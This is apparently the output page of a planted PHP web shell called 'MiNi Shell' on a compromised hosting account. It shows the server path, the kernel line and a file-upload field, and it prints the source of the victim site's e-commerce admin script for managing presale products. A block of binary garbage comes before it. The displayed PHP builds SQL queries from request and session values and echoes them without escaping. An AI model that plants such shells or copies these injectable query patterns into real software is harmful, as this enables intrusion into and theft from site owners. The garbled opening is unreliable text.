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.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /hermes/bosnacweb04/bosnacweb04ac/b1072/ipg.liuyuan7592410/wb_ecom/admin/

Linux boscustweb5003.eigbox.net 5.4.91 #1 SMP Wed Jan 20 18:10:28 EST 2021 x86_64
Upload File :
Current File : /hermes/bosnacweb04/bosnacweb04ac/b1072/ipg.liuyuan7592410/wb_ecom/admin/manage_presale_product.php

<?PHP 
	require "top.inc.php";
	$allowedRole = SUPER_ADMIN|ADMIN|VENDOR_ADMIN|VENDOR_USER|RETAILER_ADMIN|RETAILER_USER;
	whoAllowed($allowedRole);
	$pid = "";
	$price1 = "";
	$qty1 = "";
	$price2 = "";
	$qty2 = "";
	$price3 = "";
	$qty3 = "";
	$due_date = "";
	$available_date = "";
	$notes = "";
	$vendor_id = "";

	$msg = "";

	$condition = "";
	if(($_SESSION['ADMIN_ROLE']&(VENDOR_ADMIN|VENDOR_USER))!=0){
		$condition =  " and a.added_by=b.id and b.vendor_id=c.vendor_id and c.id='".$_SESSION['ADMIN_ID']."'";
		$role_field = "vendor";
		$role_field_id = $_SESSION['VENDOR_ID'];
	}elseif(($_SESSION['ADMIN_ROLE']&(RETAILER_ADMIN|RETAILER_USER))!=0){
		$condition =  " and a.added_by=b.id and b.retailer_id=c.retailer_id and c.id='".$_SESSION['ADMIN_ID']."'";
		$role_field = "r_vendor";
		$role_field_id = $_SESSION['RETAILER_ID'];
	}

	if(isset($_GET["id"]) && ($_GET["id"]!="")){
		/*View or Edit Existed product*/
		$image_required = "";
		$id = get_safe_value($con,$_GET["id"]);
		/*$sql = "select a.* from t_product a,t_admin_users b,t_admin_users c where a.id=\"".$id."\"".$condition;*/
		$sql = "select a.*,b.vendor,b.r_vendor,b.price,b.image from t_presale a left join t_product b on a.pid=b.id where a.id='$id'";
		$res = mysqli_query($con,$sql);
		$check = mysqli_num_rows($res);
		if($check>0){
			$row = mysqli_fetch_assoc($res);
			$pid = $row['pid'];
			$price1 = ($row['price1']!=0)?$row['price1']:"";
			$qty1 =  ($row['qty1']!=0)?$row['qty1']:"";
			$price2 =  ($row['price2']!=0)?$row['price2']:"";
			$qty2 =  ($row['qty2']!=0)?$row['qty2']:"";
			$price3 =  ($row['price3']!=0)?$row['price3']:"";
			$qty3 =  ($row['qty3']!=0)?$row['qty3']:"";
			$due_date =  $row['due_date'];
			$available_date = substr($row['available_date'],0,10);
			$notes =  $row['notes'];
			$vendor_id = ($row['vendor']!=0)?$row['vendor']:("r_".$row['r_vendor']);
			$image = PRODUCT_IMAGE_SITE_PATH.$row['image'];
			$price = $row['price'];
		}else{
			header("location:presale_product.php");
			die();		
		}
	}

//	prx($_POST);
	if(isset($_POST["submit"])){
		/*edit a existed product or added a new product*/
		$pid = isset($_POST['pid'])?get_safe_value($con,$_POST['pid']):"";
		$price1 = get_safe_value($con,$_POST['price1'])*100;
		$qty1 =  get_safe_value($con,$_POST['qty1']);
		$price2 =  get_safe_value($con,$_POST['price2'])*100;
		$qty2 =  get_safe_value($con,$_POST['qty2']);
		$price3 =  get_safe_value($con,$_POST['price3'])*100;
		$qty3 =  get_safe_value($con,$_POST['qty3']);
		$due_date =  get_safe_value($con,$_POST['due_date']);
		$available_date = get_safe_value($con,$_POST['available_date']);
		$notes =  get_safe_value($con,$_POST['notes']);
		$vendor_id = isset($_POST['vendor_id'])?get_safe_value($con,$_POST['vendor_id']):"";

		if($pid!=""){
			$sql = "select * from t_presale where pid=\"".$pid."\" and due_date>now()";
			$res = mysqli_query($con,$sql);
			$check = mysqli_num_rows($res);
			if($check>0){
				if(isset($_GET["id"]) && $_GET["id"]!=""){
					$row = mysqli_fetch_assoc($res);
					if($id!=$row["id"]){
						$msg = "This product has been on pre-sale right now. ";
					}
				}else{
					$msg = "This product has been on pre-sale right now. ";
				}
			}
		}

		if($msg==""){
			if(isset($_GET["id"]) && $_GET["id"]!=""){
			/*edit existed product*/
				$sql = "update t_presale set price1='$price1',qty1='$qty1',price2='$price2',qty2='$qty2',price3='$price3',qty3='$qty3',due_date='$due_date',notes='$notes' where id='$id'";
			}else{
			/*add new product*/
				$sql = "insert into t_presale (pid,price1,qty1,price2,qty2,price3,qty3,due_date,status,added_by,added_on,notes) values ('$pid','$price1','$qty1','$price2','$qty2','$price3','$qty3','$due_date','1','".$_SESSION['ADMIN_ID']."','".date("Y-m-d h:i:s")."','$notes')";
			}
			mysqli_query($con,$sql);		
			header("location:presale_product.php");
			die();	
		}
	}

?>
<div class="content pb-0">
	<div class="animated fadeIn">
		<div class="row">
			<div class="col-lg-12">
				<div class="card">
					<div class="card-header"><strong>Product</strong><small> Form</small></div>
					<form method="POST" enctype="multipart/form-data">
						<div class="card-body card-block">
							<?PHP
								if(($_SESSION['ADMIN_ROLE']==ADMIN)&&(!isset($_GET['id']))){
							?>
							<div class="form-group" id="form-group-vendor">
								<label for="categories" class=" form-control-label">Vendor</label>
								<select class="form-control" name="vendor_id" id="vendor" >
									<option value="" >Select Vendor</option>
									<?PHP
									$res = mysqli_query($con,"select * from t_vendor where status=".ALL_ACTIVE);
									while($row = mysqli_fetch_assoc($res)){
										if(($role_field=="vendor")&&($row["id"]==$role_field_id)){
											echo "<option selected value=\"".$row["id"]."\" >vendor:".$row['id']."--".$row["name"]."(".$row['mobile'].":".$row['email'].")</option>\n";
										}else{
											echo "<option value=\"".$row["id"]."\" >vendor:".$row['id']."--".$row["name"]."(".$row['mobile'].":".$row['email'].")</option>\n";
										}
									}
									$res = mysqli_query($con,"select * from t_retailer where status=".ALL_ACTIVE);
									while($row = mysqli_fetch_assoc($res)){
										if(($role_field=="r_vendor")&&($row["id"]==$role_field_id)){
											echo "<option selected value=\"r_".$row["id"]."\" >retailer:".$row['id']."--".$row["name"]."(".$row['mobile'].":".$row['email'].")</option>\n";
										}else{
											echo "<option value=\"r_".$row["id"]."\" >retailer:".$row['id']."--".$row["name"]."(".$row['mobile'].":".$row['email'].")</option>\n";
										}
									}
									?>
								</select>
							</div>	
							<?PHP			
								}
								if(!isset($_GET['id'])){
							?>
							<div class="form-group" id="form-group-product">
								<label for="categories" class=" form-control-label">Product</label>
								<select class="form-control" name="pid" id="product" required>
									<option value="">Select Product</option>
									<?PHP
									$res = mysqli_query($con,"select id,categories from t_categories order by categories asc");
									while($row = mysqli_fetch_assoc($res)){
										if($row["id"]==$categories_id){
											echo "<option selected value=".$row["id"].">".$row["categories"]."</option>\n";
										}else{
											echo "<option value=".$row["id"].">".$row["categories"]."</option>\n";
										}
									}
									?>
								</select>
							</div>
							<?PHP
								}
							?>
							<div class="form-group">
								<div class="line__wrapper">
									<div id="product_image_div" style="width:50%;max-width: 100px"></div>
									<div id="product_info" style="margin-left:20px"></div>
								</div>
							</div>
							<div class="form-group">
								<label for="categories" class=" form-control-label line__wrapper__title">Basic Level of Sales Target</label>
								<div class="line__wrapper">
									<div style="width:40%">
										<label for="categories" class=" form-control-label">Qty</label>
										<input type="text" name="qty1" placeholder="Target Qty" class="form-control" required value='<?PHP echo $qty1;?>'>
									</div>
									<div style="width:55%">
										<label for="categories" class=" form-control-label">Price</label>
										<input type="text" name="price1" placeholder="Price" class="form-control" required value='<?PHP echo ($price1!="")?($price1/100):"";?>'>
									</div>
								</div>
							</div>
							<div class="form-group">
								<label for="categories" class=" form-control-label line__wrapper__title">Second Level of Sales Target</label>
								<div class="line__wrapper">
									<div style="width:40%">
										<label for="categories" class=" form-control-label">Qty</label>
										<input type="text" name="qty2" placeholder="Target Qty" class="form-control" value='<?PHP echo $qty2;?>'>
									</div>
									<div style="width:55%">
										<label for="categories" class=" form-control-label">Price</label>
										<input type="text" name="price2" placeholder="Price" class="form-control" value='<?PHP echo ($price2!="")?($price2/100):"";?>'>
									</div>
								</div>
							</div>
							<div class="form-group">
								<label for="categories" class=" form-control-label line__wrapper__title">Third Level of Sales Target</label>
								<div class="line__wrapper">
									<div style="width:40%">
										<label for="categories" class=" form-control-label">Qty</label>
										<input type="text" name="qty3" placeholder="Target Qty" class="form-control" value='<?PHP echo $qty3;?>'>
									</div>
									<div style="width:55%">
										<label for="categories" class=" form-control-label">Price</label>
										<input type="text" name="price3" placeholder="Price" class="form-control" value='<?PHP echo ($price3!="")?($price3/100):"";?>'>
									</div>
								</div>
							</div>
							<div class="form-group">
								<label for="categories" class=" form-control-label">Pre Sale Due on</label>
								<input type="text" name="due_date" placeholder="Pre Sale Ended date" class="form-control" required value='<?PHP echo $due_date;?>'>
							</div>
							<div class="form-group">
								<label for="categories" class=" form-control-label">Product Will Available on</label>
								<input type="text" name="available_date" placeholder="Product available date" class="form-control" required value='<?PHP echo $available_date;?>'>
							</div>

							<div class="form-group">
								<label for="categories" class=" form-control-label">notes</label>
								<textarea name="notes" placeholder="Enter notes here." class="form-control"><?PHP echo $notes;?></textarea>
							</div>
							<button id="payment-button" name="submit" type="submit" class="btn btn-lg btn-info btn-block">
							<span id="payment-button-amount" name="submit">Submit</span>
							</button>
							<div class="field-error"><?PHP echo $msg;?></div>
						</div>
					</form>
				</div>
			</div>
		</div>
	</div>
</div>

<script src='./assets/js/vendor/jquery-3.2.1.min.js'></script>
<script src='./js/custom.js'></script>
<script type="text/javascript">

$(function(){
	<?PHP
	?>
	<?PHP
		if(isset($_GET['id'])){
			echo "show_product_info(\"<img src=\\\"".$image."\\\" >\",\"Price: ".cvrtToDollar($price)."\");\n";
		}else{
			echo "\$(\"#form-group-product\").show();\n";
			if(($_SESSION['ADMIN_ROLE']&(VENDOR_ADMIN|VENDOR_USER))!=0){
				echo "var vendor_id='".$_SESSION['VENDOR_ID']."';\n";
			}elseif(($_SESSION['ADMIN_ROLE']&(RETAILER_ADMIN|RETAILER_USER))!=0){
				echo "var vendor_id='r_".$_SESSION['RETAILER_ID']."';\n";
			}else{
				echo "\$(\"#form-group-vendor\").show();\n";
				echo "var vendor_id='';\n";
			}
			echo "get_vendor_product(vendor_id);\n";
		}
	?>
	
	$("#vendor").on("change",function(){
		var vendor_id=$(this).val();
		get_vendor_product(vendor_id);
	});

	$("#product").on("change",function(){
		let selected_obj = $(this).find("option:selected");
		if(selected_obj.val()){
			show_product_info("<img src="+selected_obj.attr("image_url")+" >","Price: "+cvrtToDollar(selected_obj.attr("price")));
		}else{
			show_product_info("","");
		}
	});
}); 

function show_product_info(html_img,html_text){
	$("#product_image_div").html(html_img);
	$("#product_info").html(html_text);
}

function get_vendor_product(vendor_id){
	if(vendor_id!=""){
		jQuery.ajax({
			url:"get_vendor_product.php",
			method:"post",
			data:"vendor_id="+vendor_id,
			success:function(result){
				jQuery("#form-group-product").show();
				jQuery("#product").html(result);
			}
		});		
	}else{
		/*jQuery("#product").html("");*/
		jQuery("#form-group-product").hide();
	}

}

</script>
<?PHP 
	require "footer.inc.php";
?>

Creat By MiNi SheLL
Email: devilkiller@gmail.com